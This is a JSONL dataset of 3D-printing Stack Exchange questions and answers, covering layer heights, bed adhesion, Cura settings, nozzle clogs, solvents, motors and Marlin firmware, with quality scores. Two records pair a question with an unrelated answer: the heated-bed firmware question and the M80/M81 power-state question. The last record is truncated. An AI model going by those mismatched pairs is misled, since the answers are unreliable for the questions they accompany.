{"id": "hf_4e40337af2cd", "question": "<p>What are the \"magic numbers\" people refer to regarding print resolution on the Monoprice Select Mini?</p>\n", "question_body": "", "answer": "The \"magic numbers\" are optimal values that work particularly well for the layer height.  Michael O'Brien derived these numbers by reverse engineering the\nmechanics of the Z-axis stepper motor\n.\nUsing these values as your layer height will generally improve your print quality over using round layer heights such as 0.15, 0.2, or 0.25 by eliminating quantization errors.\nTo see an example of this, print a copy of\n3DBenchy\nat 0.15 and 0.175.  On the 0.15, you will see some wavy patterns on the curved bow portion compared to the 0.175.  This is the result of inexact rounding.\n```\n```\nLayer Height (mm)\n0.04375 (results may vary)*\n0.0875\n0.13125\n0.175\n0.21875\n0.2625\n0.30625\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.416186"}
{"id": "hf_73ceebc5c947", "question": "<p>I've done <em>some</em> research on this matter however I cannot find any clear answers.   </p>\n\n<p>How does a SolidWorks CAD file get 'converted' into a file format suitable for 3D printing, in detail?</p>\n", "question_body": "", "answer": "When you convert it to, let's say, a .stl (3d object file) file, I believe it converts the geometry of the parts into binary and saves the sets. These matrices can be used by the software of 3d printer in order to give the appropriate Trajectory for the extruder. And then the motion of the extruder is 'divided' amongst the available stepper motors and it generates equations of motion for the motors in electrical signals. \nThat's what I've learned so far by using a 3d printer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.439758"}
{"id": "hf_70e3dab72ccd", "question": "<p>I'm having an issue where the first layer of my support structures isn't sticking on the edges and causing the print to (eventually) fail.  Any ideas on how I can fix it?</p>\n\n<p>I'm using Slic3r.</p>\n\n<p><a href=\"https://i.stack.imgur.com/XD4AX.jpg\" rel=\"nofollow noreferrer\" title=\"Photograph of first printed layer\"><img src=\"https://i.stack.imgur.com/XD4AX.jpg\" alt=\"Photograph of first printed layer\" title=\"Photograph of first printed layer\"></a></p>\n", "question_body": "", "answer": "There are many things you'll need to check and/or confirm to ensure that you will have a good bond to the bed. The first is to confirm that you are using a genuine Prusa printer as it appears in the photo. Having built one recently makes it easier for me to guess that is the case.\nHave you performed the bed calibration sequence? The manual provides a series of steps which results in a zig-zag pattern of filament being placed on the bed, while the z-height is adjusted from the panel. You want to have a filament trace that is only slightly squished onto the bed, not flattened so much that it's cutting into the PEI and not so high that it's nearly cylindrical.\nThe bed must be of the correct temperature for the filament selected. If in doubt, raise it five to ten degrees C. I recently assisted with the aforementioned printer that had a peeling problem and the bed temperature had to be raised to 70°C from the \"standard\" 55°C generated by Slic3r.\nIt is critical that the bed be clean as well. Denatured alcohol is recommended, with application of a clean cloth.\nYour photo is somewhat out of focus, making it difficult to determine if the brim is being created at an excessively high z-level, which will cause peeling. The main body of the print, also out of focus appears to be heavily flattened, but that could be an artifact of the photo.\nThe reflections on the bed appear to indicate that some gouges in the surface exist. If your PEI is damaged, you will have the problem you described. I've seen videos in which the bed is not quite as gouged and was refreshed with very light sandpaper or very light steel wool or both. Of course, after using such material, clean the surface thoroughly.\nI understand the PEI that is applied by the manufacturer is quite thin and can be further damaged if too much pressure is applied while refreshing. It is far better to apply too little pressure if you plan to perform this task.\nConsider to read through the manual and address all of the calibration aspects of the printer to establish a base point for the problem you are experiencing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.462591"}
{"id": "hf_2f66ddde2c5c", "question": "<p>For a university project, my partner and I need to print the robot Poppy. This is an open source robotic project, <a href=\"https://www.poppy-project.org/fr/\" rel=\"nofollow noreferrer\">poppy-project.org</a>.</p>\n\n<p>We are printing it with a double extruder SpiderBot with PLA and HIPS as support material. Our principal issue is the weakness of the pieces we print.</p>\n\n<p>It prevents us from removing the support material without damaging the piece. We don't have the chemicals to dissolve HIPS.</p>\n\n<p>Have you some advice to make the pieces stronger, or a more gentle method to remove the HIPS?</p>\n\n<p>Thanks for the replies</p>\n", "question_body": "", "answer": "Why not try using PVA(Polyvinyl alcohol) for support material.\nI use it for my support material with PLA, and it dissolves in water.\nhere is a link to some on Amazon.\nhttps://smile.amazon.com/eSUN-1-75mm-filament-natural-0-5kg/dp/B00MVIQASU/ref=sr_1_3?s=industrial&ie=UTF8&qid=1508539512&sr=1-3&keywords=PVA", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.486540"}
{"id": "hf_9b667dc9c129", "question": "<p>I have a 3D printed object that I'd like to print on. Adhesive stickers are an option, but as the surface is rounded it's difficult to get a good film to stick well. </p>\n\n<p>Is there any system to print on a 3D object (e.g. ink jet). I need at least 300dpi. Black in the first instance, but color would be nice for future projects. </p>\n", "question_body": "", "answer": "There are printer types that can print images into the material as it's being printed. SLA and SLS type printers are capable of this but I believe Polyjet printers are the best suited.\nAt 300 dpi though you might be pushing the edge of what is capable. to get that fine of detail your best option may be to look into getting a vinyl wrap for your part that is applied after it's printed. If you've seen cars with really high detail images on them, a vinyl wrap is typically how they're done.\nNote\nI should state that the SLA and SLS embedded images are still in the R&D phases and being experimented with. Possible now, but not in production phase. The SLS version essentially ran another print head over that worked similar to an ink jet before sintering the layers. The SLA version I saw worked somewhat similarly, but had some 'unique' clearing processes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.533325"}
{"id": "hf_e2dc7cc471be", "question": "<p>After I updated the firmware on my Prusa i3, the Bed won't switch off anymore. It worked perfectly before the update, but now, the moment I power up my printer, the LED on the bed turns on and it starts heating up. The manual control in Repetier Host doesn't turn if off or on and I even tried g-codes <code>M140 S0</code> as well as <code>M0</code>, but it does not switch it off.</p>\n\n<p><strong>Edit:</strong>\nI have an Arduino Mega2560 with a RAMPS shield. The Marlin firmware came pre-configured from the store I bought the kit from.</p>\n", "question_body": "", "answer": "50°C is hot for you. PLA's glass transition temperature is 65°C. A car in the mid-day sun can get very hot indeed.\nAs to the question of \"stronger\" - if the part is designed to be\nstrong enough\nfor its use in PLA, it will be no better in \"stronger\" ABS. If the PLA part will be \"more precise\" and \"less warped\" - that may well make it better for its use. Other than a widespread community dedication to self-replication, (or mostly self-replicating with some metal parts) there's plenty of arguments for making most printer parts out of machined metal, for that matter - much stronger than ABS or PLA.\nBrittleness likewise might matter if you were planning to drop the printer; but should not matter in use if the part is designed for the forces it will see in the material it's designed for. Looking at older technology, many machine tools are made of cast iron, which is quite brittle, rather than steel, which can be less brittle depending on how it's processed. If the part is designed for the job and used/handled in a reasonable way, \"brittle\" is not an inherently bad thing, and a thin steel part that flexes is a worse thing than a thick cast iron part that flexes less.\nAs for\nwithstand the elements\nthat appears to be a reference to outdoor use where PLA will break down - but if you are not leaving your printer out in the rain (which will be bad for many other parts unless you do a lot of engineering to protect them) that should be of little concern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.580252"}
{"id": "hf_07971b7db008", "question": "<p>For the Anycubic Kossel Linear Plus I have to upload data to the 3D printer from a software called Arduino and then close it. Then I open Pronterface and put in the right port and baud rate that is in the Arduino files and then click \"connect\". Afterwards it says </p>\n\n<pre><code>connecting...\n</code></pre>\n\n<p>and that is all it does and doesn't fully connect to the printer. I've tried changing the baud rate and port in Pronterface, Arduino and the bit rate in the Device Manager but nothing works. </p>\n\n<p>Any suggestions on how to fix this?</p>\n", "question_body": "", "answer": "I know this may be a little late, but I bought the same printer and found that I had problems also. To fix this connection issue I first made sure I had no arduino programs open that were trying the connect to the printer. These would not allow Pronterface to connect to my printer. Then if I still had issues I opened up task manager on my computer just to make sure I had no other programs trying to communicate with the printer. Then if it still can't connect I closed Pronterface and reloaded it a couple of times.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.603730"}
{"id": "hf_065eb3d24adc", "question": "<p>I have recently purchased an Anet A8 but have been wondering why the prints look squished and have tiny balls on them. </p>\n\n<p>I am using 1.75&nbsp;mm cheap PLA bought from eBay and have also had problems of filament oozing out of the print block. </p>\n\n<p><img src=\"https://i.stack.imgur.com/9bEPO.jpg\" alt=\"Photos of squished prints\" title=\"Photos of squished prints\">]<a href=\"https://i.stack.imgur.com/9bEPO.jpg\" rel=\"nofollow noreferrer\" title=\"Photos of squished prints\">1</a></p>\n", "question_body": "", "answer": "It could be that cheap filament has inconsistent diameter, or your calibration is over extruding, or you have something loose that needs to be tight.  It's hard for me to tell precisely from just these images.  In your shoes, I would print 20mm x 20mm x 10mm, 100% infill boxes until I got it dialed in so that it is square, fully filled in, but nice and flat.\nIf they're coming out square and staying stuck to the build plate properly, but are bumpy and overfilled, then you're over extruding and you'll want to either recalibrate e-steps or if they're correct, adjust your flow rate in the slicer (down).\nIf they aren't square then you need to square up your frame and tighten it and the belts.\nEtc.\nBut my first guess is that you're extruding too much plastic since I'll bet they were flatter when they were still on the build plate, yes?\nOn the question of ooze: you'll always get some ooze.  Molten plastic and gravity means some will ooze out pretty much no matter what.  What you need to worry about is when this results in stringing or unwanted lines on the surface of the print.  These things you address with retraction (which reduces the pressure on the nozzle during travel moves, but can't stop gravity) and for the surface problem various travel, z-hop and combing strategies depending on your slicer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.626892"}
{"id": "hf_b9742845c451", "question": "<p>I have a Tevo Tarantula 3D printer.</p>\n\n<p>I'm trying to print a calibration cube. </p>\n\n<p>The slicer is Cura and is set for a 1.75&nbsp;mm filament extruded by a nozzle of 0.4&nbsp;mm, with a heat bed temperature of 60°C and extruder 200°C. </p>\n\n<p>As seen in the image I stopped the printer after a minute, when I noticed that the filament wasn't sticking to the hotbed. </p>\n\n<p><a href=\"https://i.stack.imgur.com/zdPaw.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zdPaw.jpg\" alt=\"Photo of filament not adhering the printbed\"></a></p>\n\n<p>I've also made other tests, but the result is the same - the upper right part of the print lifts and touches the moving nozzle. </p>\n\n<p>How could I resolve this? Any advice? </p>\n", "question_body": "", "answer": "I don't have this specific printer but this used to happen to me as well on my D-Bot. The reason being bed not being leveled properly. Ensure that your bed is leveled such that the distance between the nozzle and bed is about 0.2mm after homing. Also coat your bed with something sticky like glue or hairspray. You won't need this if you are using a PEI sheet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.684926"}
{"id": "hf_29b476a4f14d", "question": "<p>I'm using <code>M80</code> and <code>M81</code> G-codes to power on/off power supply. </p>\n\n<p>Is there a G-code to know the actual state of the power supply?</p>\n", "question_body": "", "answer": "I don't have this specific printer but this used to happen to me as well on my D-Bot. The reason being bed not being leveled properly. Ensure that your bed is leveled such that the distance between the nozzle and bed is about 0.2mm after homing. Also coat your bed with something sticky like glue or hairspray. You won't need this if you are using a PEI sheet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.708986"}
{"id": "hf_312ec20f759e", "question": "<p>I am interested in doing development on Cura.  Initially I want to start with the UI rather than the Engine.  I have found the <a href=\"https://github.com/Ultimaker/Cura\" rel=\"nofollow noreferrer\">repository</a> and have cloned it to my PC.  I have also looked over the <a href=\"https://github.com/Ultimaker/Cura/wiki\" rel=\"nofollow noreferrer\">Wiki</a> and searched the web.  For such a popular open-source product, I was surprised I couldn't find a build guide.</p>\n\n<p>Can someone direct me on how to get started.  I have a LOT of experience in Software Development (more years and languages than I want to admit to); but, I have never used Python.  Consider that in your instructions.</p>\n", "question_body": "", "answer": "As you are an experienced developer, these links should help:\nThis is a related question, but for Ubuntu\nHow to build CuraEngine?\nWikipedia has an informative page on\nCura\n, which lists the Github development pages:\nCura Github development page\nCura Github legacy (pre-Ultimaker) development page\nCura slicing engine Github development page\nReading the development pages is a good place to start. The\nCura Github development page\ndoes contain resources for Windows.\nThe top level Ultimaker\nGithub page\ncontains links to all of the relevant repositories, amongst other useful resources, including:\nCuraEngine\n- CuraEngine is a powerful, fast and robust engine for processing 3D models into 3D printing instruction for Ultimaker\n  and other GCode based 3D printers. It is part of the larger open\n  source project called \"Cura\".\nCura\n- 3D printer / slicing GUI built on top of the Uranium framework\ncura-build\n- Build scripts for Cura\nWith respect to Python, I, myself, am slowly making my way through this Python tutorial,\nPython Code Academy\n. However, there are a many other good Python tutorials out there, the best resource is probably\nPython.org\n.\nOne thing to note is that Python 2.x and 3.x are markedly different (see\nShould I use Python 2 or Python 3 for my development activity?\n).\nWhat should I learn as a beginner: Python 2 OR Python 3?\nis also an interesting read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.848256"}
{"id": "hf_738ebb4f8771", "question": "<p>Acetone is banned in my country, and I cannot get it.</p>\n\n<p>What substitute could I use?</p>\n", "question_body": "", "answer": "The answer really depends on what you are using it for. Is it for dissolving ABS? A\nquick google search\nshould show you what you want.\nThe thread,\nCould you recommend me a suitable alternative to acetone as solvent?\n, has a good many points that are worth considering:\nFor example, you may need to consider the\nPolarity Index\nBurdick & Jackson solvents\nare arranged in order of increasing\n  polarity index, a relative measure of the degree of interaction of the\n  solvent with various polar test solutes.\nIf you are using it to dissolve a polymer other than ABS, then the family/class of polymer may need to be considered:\nApart from your desired solvent qualities (non-flammability and low boiling point), the choice will be totally dependent on the family/ class which the polymer  belongs. Based on the principal that 'like dissolves like, the attached document will provide you with good ideas on which solvent to use when a particular repeating unit of the polymer is involved.\nButanone is a possibility:\nOne alternative is butanone (button-2-one) - this is similar to acetone, but has a much higher boiling point. It is often used for alkylations etc. It has a boiling point of 79-80°C compared to 56°C of acetone.\nor NMP:\nN-methyl-2-pyrrolidone (NMP) can be used. It is a polar aprotic solvent and dissolves many polymers. It has high boiling point ( >200 degree centigrade)  It is soluble in water and easy to dispose which is a great advantage during work up of reactions.\nHowever, some other alternative chemicals are listed here (from\nAny good alternative to Acetone\n?:\nButyl alcohol\nmethyl isobutyl keytone (MIBK)\ndenatured alcohol\nMEK (methyl,ethyl,ketone), i.e. Kleen-Strip MEK Alternative\nEthyl Acetate\nSome branded items, from\nAlternatives to Acetone\n:\nSurfasolve\nSurfasolve is a 100 percent biodegradable acetone replacement that removes adhesives, degreases tools and works as a resin solvent.\n    Surfasolve is a non-regulated product.\nBio-Solv\nBio-Solv is an acetone replacement that is 100 percent biodegradable. It is not deemed a hazmat, so shipping will not cost\n    you more. This acetone alternative is not listed on California\n    Proposition 65, a law passed in 1986 to keep substances that cause\n    cancer and birth defects out of drinking water. Nevertheless, you want\n    to use Bio-Solv in a well-ventilated area because of an unpleasant\n    odor. It is not, however, a hazardous air pollutant. Bio-Solv is not\n    petroleum based.\nReplacetone\nReplacetone is another acetone alternative. It is nonflammable and nonvolatile. It can be used as an acetone or MEK (methyl ethyl ketone,\n    an industrial solvent) replacement that is biodegradable. Both\n    Replacetone and Bio-Solv are referred to as green acetone.\nMethyl Acetate\nMethyl acetate is offered as an acetone replacement. Manufactured by the Eastman Chemical Company, it is utilized in industrial\n    applications. It is biodegradable, volatile organic compound exempt\n    and non-HAP (hazardous air pollutant)\nImportant note\nHowever,\nsome of these items may also be banned in your country\n, so check first. As you do not say which country that you are from, it is not possible to qualify this statement.\nIt is worth remembering that some of these substances are\nnot\nas safe as acetone, and\nthe fumes may be more toxic\n, so they should always be used in\nwell ventilated spaces\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.884905"}
{"id": "hf_f762006cc1f7", "question": "<p>I want to print multiple objects in a single G-code file on my Maker Select Plus 3D Printer.</p>\n\n<p>On the Cura \"Machine>Machine Settings...\" menu, what are the correct settings for \"Printer head size\" in the upper right quadrant?</p>\n\n<p>My best guess is below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/hJkip.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hJkip.png\" alt=\"Machine Settings Dialog\"></a></p>\n\n<p>Note 1: I'm particularly concerned that I got the min and max directions correct.  For instance, I just swapped my Y min and Y max values because when I tried them the other way, the print head impacted the first object when printing the second.</p>\n\n<p>Note 1.5: I added 10 mm to my settings because I was concerned that Cura wasn't accounting for the width of the raft that I usually use when I print.</p>\n\n<p>Note 2: From what I've read online before posting this question, this printer may be physically the same as the WanHao Duplicator i3.</p>\n", "question_body": "", "answer": "TL;DR\nThe settings that you seem to need can be found here:\nPrint One At a time settings? CURA\n:\nYou actually can!\nProviding that none of your object is too tall (taller than the Gantry\n  clearance). Also the objects cannot be too close from each other (when\n  you activate the option and move objects on the bed, you see a gray\n  box around them showing this limit).\nThe reason you cannot use it at the moment is probably because you\n  didn't filled the printer head size parameters (Menu \"Machine ->\n  Machine Settings...\"). You will have to measure them, but on mine\n  (Australian clone of the i3) I use those values and it works fine:\nHead size toward X min: 30\nHead size toward Y min: 70\nHead size toward X max: 60\nHead size toward Y max: 50\nPrinter gantry height: 35\nThose are \"conservative\" values (a little bigger than the actual\n  values). It means I'm losing a little bed space, but I prefer that to\n  the risk of having the print head knocking out previous prints if one\n  of the measurements is too low :o).\nPS: The option will automatically disable itself if some object\n  dimension are too big to avoid collisions\nTo be fair, the rest of the thread is people debating whether you can successfully achieve\nsequential printing\n, or not, with the Wanhao Duplicator I3.\nHowever, the setting above seem to be the settings that you are looking for. Apart from\nHead size toward X max\n, they also correlate, pretty much, to the settings that you have already determined. As the poster notes, their settings are, somewhat, on the conservative side, which would explain the difference.\nExtra detail\nIf this is so that you can achieve\nsequential printing\n1\n, then this may not be suitable for your printer, unfortunately. Sequential printing works best for printers with a long nozzle with nothing (fans, X-axis gantry, etc.) around it, for example a delta printer with a low hanging nozzle would be ideal. Your printer type has a wide head with attachments, as well as an X-axis gantry, and so the clearance is less than that of an (ideal) delta.\nSee\nWanHao Duplicator i3 Printer Head Size Settings for Cura\nfor more details.\nIf you wish to go ahead and still try it, then from the\nsame link\n:\nThe way to measure is lower the nozzle to the bed.\nThen measure the space taken up around the nozzle by the heater block, fans, mounting, the motor, and finally, the distance between the X axis rods and the bed \"WHEN the nozzle is touching the bed\".\nThat gives you some idea of the clearance you have where an ALREADY printed object can exist on the bed and NOT get slammed into the gantry or moving head when printing a second sequential part.\nJust a visual with a moving bed printer and it's not promising.\n  Not impossible, but in a 200mm square build area, you might really only get 4 objects at a time in the 4 quadrants.\nEven that is height limited because the gantry will slam into it at a certain height.\nMaybe some weird staggering pattern.\nAlso, of use, for obtaining your own measurements, from\nUltimaker - Cura 14.07 Printer Head Size\n:\nIf I'm not mistaken all measurements are taken from the nozzle tip. So, for the first one, measure the size of your head from the nozzle tip towards the direction in X to where your machine homes.\nand\nThere's a tooltip when you mouse over these settings which describes what they mean.\nGantry height is the vertical clearance between the build plate and your x-y gantry (on the Ultimaker, these are the 6mm shafts which hold the head).\nIf you print two objects - one after another - then the first object must be shorter in height than the gantry height. Otherwise, the gantry would crash into the first part while printing the second part.\nIn more detail, paying attention to the placing of the objects can aid with any issues that you have with a low gantry:\nIf you place multiple parts in a diagonal line across the build-plate so the gantry and head never intersects earlier parts after printing them, you can set the gantry height to an artificially high value, to ignore it, without problems.\nI place pieces along a diagonal from right-front to left-rear, to avoid conflict when the head homes after finishing the print. I can fit 3 to 4 small but tall pieces on the build plate that way for sequential printing.\nThe purpose of these\nPrinter head size\nsettings is to enable Cura to determine the order in which the objects are printed:\n... none of those settings are important as long as you only print one STL file at a time. It's when you want to print multiple objects \"one at a time\" that these numbers have a purpose - it allows Cura to figure out which order to print them in and if it can do them one at a time or if it has to print them all at once.\nFootnote\n1\nSequential Printing\nis where one object is\ncompletely\nprinted, before moving on to the next object, instead of the usual method of printing all objects\nsimultaneously\none layer at a time. This method can give superior quality prints, but not always. The main advantage appears to be reduced \"stringing\" of filament between objects, and a cleaner surface finish, due to reduced print head movement between objects. The process is detailed in\nMulti-part printing\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.922126"}
{"id": "hf_b361c923ba3d", "question": "<p>I've got the following PLA filament that is not feeding correctly into our Ultimaker 2+</p>\n\n<p>It starts to feed and then all of the sudden, the wire 'eats' (read <em>breaks, but not entirely</em>) the plastic filament as you can see on the picture below:</p>\n\n<p><a href=\"https://i.stack.imgur.com/OnQy7.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/OnQy7.jpg\" alt=\"Photo of damaged filament\"></a></p>\n\n<p>Any hints are more than welcomed.</p>\n", "question_body": "", "answer": "The photograph and your description indicate that the drive gear is eating the filament because the filament has stopped moving. The least likely problem would be that something is jammed at the spool or between the spool and the entry to the drive mechanism.\nThe more likely problem is that your nozzle is clogged. It is simple to determine if that is the case. If you have a direct drive mechanism (not a bowden tube type), remove all the filament and release the wheel or bearing that presses the filament against the hobbed pulley, which is the part connected to the motor or driven gear if you have a geared mechanism.\nHeat the nozzle up to correct temperature for PLA and attempt to push filament through the nozzle. If it does not move, your nozzle is clogged and has to be cleared.\nA nozzle clog can be caused by a too-low temperature or a too-high temperature resulting in burned material becoming jammed in the nozzle.\nIf you have a 0.40 nozzle, find that size of nozzle tool or use a 0.40 mm drill bit and carefully push and turn it into the nozzle.\nAlso consider to use nylon cleaning method. This involves heating the nozzle to the correct temperature for melting nylon filament, forcing it into the hot end, then allowing it to cool. Reheating it while pulling on the filament will remove some of the debris. Eventually, it will pass through the nozzle and will also pull out clean, with no debris on the end of the filament. It is suggested to research \"nylon cleaning method\" to learn correct temperatures.\nI have used the nylon cleaning method and have removed debris from overheated filament in the past. I have been able to shine a bright light from below and see the open nozzle after completing the process.\nThe above steps are identical for bowden type systems and require to remove the bowden tube to access the hot end more effectively. The tube can be removed from either the hot end or the drive end, but force is more effectively applied if the tube is removed from the hot end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.962519"}
{"id": "hf_9744a1fabb3d", "question": "<p>I'm a new one for this community.\nThis also not directly related with 3D printing.\nI searched about this and I couldn't find good answer.</p>\n\n<p>One of my friends told me CNC machining centers (Milling) mostly use servo motors and CNC laser cutter and plasma cutters use stepper motors mostly.</p>\n\n<p>Position controlling is more accurate in servo motors than steppers.</p>\n\n<p>I think position controlling is more important in laser and plasma cutters than CNC machining centers, but laser and plasma cutters use stepper motors.</p>\n\n<p>Why do laser and plasma cutters use steppers without using servo motors?</p>\n\n<p><strong>P.S.</strong>\nThis question has more area than 3D printing and CNC routing.And also, This question asked for more reason for why use steppers in laser cutters,plasma cutters and CNC router.SO, this is not a duplicate of <a href=\"https://3dprinting.stackexchange.com/questions/3842/reprap-variants-with-servo-motors-rather-than-stepper-motors\">this </a> one.</p>\n", "question_body": "", "answer": "Servos do have several advantages; but, they are more expensive and more difficult to control.\nGenerally, a servo motor is a DC motor but with an encoder to provide position feedback.  A circuit (can be a computer) then compares the actual position (from the encoder) against the commanded position and uses the error to determine how much power to put to the motor (usually by PWM).\nSome of the advantages of servos:\nThe encoders on the motor often have thousands of counts per revolution so they are accurate.\nThey are a great choice for controlling a large mass.  When beginning a motion, the control loop can detect that more power is required when the encoder does not respond as fast as expected thus putting more power to the motor. This will them automatically reduce as the motor reaches speed and no longer needs the acceleration torque. Also, the servo loop can also apply reverse torque when trying to slow down the large mass to limit overshot.\nSome of the disadvantages of servos:\nThe DC Motors used for servos reach peak power at thousands of RPM.  That means to use them on a printer you will need to gear them down.  This adds to the expense.\nYou need electronics to PWM the power to the DC Motor and to close the servo loop (usually at least 1 KHz).  This can require a lot of the CPU.  Probably would be more than a Melzi could do since it is already maxed out.\nThe servo loop tuning can cause the motor to buzz when it is holding position on an unloaded axis.  This could cause print issues.\nI know you have likely seen cheap servos out there often called \"hobby servos\". These are often used in RC.  These use a creative trick that allows them to use a cheap potentiometer to create an inexpensive control loop.  The limit to this \"trick\" is that it CAN NOT rotate a full 360°; thus, it CAN NOT run a continuous axis.  Yes, I know there are hobby servos out there that are called continuous rotation servos; but, they do that by disconnecting the potentiometer.  In that case they are no longer servos.  This is just a way to use the same control interface to control a standard DC motor and the motors are not accurate.\nStepper motors on the other hand:\nAre really cheap;\nDon't require complicated drive circuits or control loops;\nLove to hold position without a load.\nTheir downside is that their rotational accuracy is limited by the physical poles of the motor.  This can be improved using micro-stepping; but, there are limits.  Also, it is difficult (often impractical) to determine if the motor missed a step.  That can usually be handled by just making sure that the load on the motor is always well below the step torque.  This often involves managing the motor acceleration.\nIn summary, servos are great for some applications; but, for low cost situations like 3D printing, steppers are hard to beat.  It is likely servos needed for milling CNCs because the cutting head is much more massive than an extruder or laser and the servo control loop is needed to provide accurate motion for the higher mass.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:51.986406"}
{"id": "hf_14953b870c55", "question": "<p>I have a Tevo Tarantula with a MKS Base 1.5 board and dual extruders.  I am running Marlin RC8 Tevo Community build for the dual extruder, large bed and SN04 sensor.  </p>\n\n<p>All temperature sensors work and give accurate reading but <code>E1</code> when activated runs at 100% until the overtemps kicks in and shuts down the system.  Like I said, it reads proper temperatures through the thermistor it just won’t stop at the set temperature.  I checked the MOSFET and there is no obvious scorching or bad solder joints on the MKS board.  This leads me to believe it is a mix-up in firmware but, being a bit of a newbie on this, I am still getting familiar with G-code and Marlin.</p>\n\n<p>I have confirmed the correct board is being referenced in firmware from <code>boards.h</code> but looking at <code>configuration.h</code> I just get confused.  What I am thinking is somehow/somewhere <code>E1</code> might be referenced as a fan that is just off or on.  Anybody have ideas?</p>\n", "question_body": "", "answer": "I am not sure what the hardware config is for the\nTevo Tarantula\nMake sure your\n```\nconfiguration.h\n```\nfile is setup for your hardware.\nThe extruder defines are describe in\nConditional_LCD.h\nIt looks like the\nconfiguration.h file\non GitHub is configured for a single extruder.\nFor example, if you have 2 hotends; but, \"HOTENDS=2\" is not set then the I/O will not be configured for the 2nd hotend.  I just looked at the code and if\n```\nHOTENDS == 1\n```\nthen the\n```\nMOSFET_D_PIN\n```\nwill be used to control FAN1 (which sounds very similar to what you are describing that you are seeing).\n```\n```\n#if HOTENDS == 1\n    #define FAN1_PIN     MOSFET_D_PIN\n  #else\n    #define HEATER_1_PIN MOSFET_D_PIN\n  #endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:52.079314"}
{"id": "hf_3a87b0a22a3a", "question": "<p>I've noticed that after my Anet A8 completes a print, the right hand Z mount ends up 1-2&nbsp;mm lower than the left, even though I make sure both the left and right hand Z mounts of the X-axis are at the same height before switching on the printer.</p>\n\n<p>Does anyone know what the cause of this might be?</p>\n\n<p>I'm guessing something is causing the right hand Z to skip steps. I can't see or hear any obvious mechanical issues. I checked all guide and threaded rods were straight before assembly.  </p>\n\n<p>Could it be a faulty stepper or control electronics?</p>\n", "question_body": "", "answer": "Try winding the Z axis all the up and down a few times using the front panel controls. Does it still go out of alignment? Is it out of alignment at the top? Does it come back into alignment when you wind it back down?\nThe principle is: if you have a dodgy motor drive chip, or a mechanical fault, it will skip some steps on the way up and the two motors will be out of synch. Then, on the way back down, it will skip an (approximately equal) number of steps and the motors will return to something resembling similar places.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": 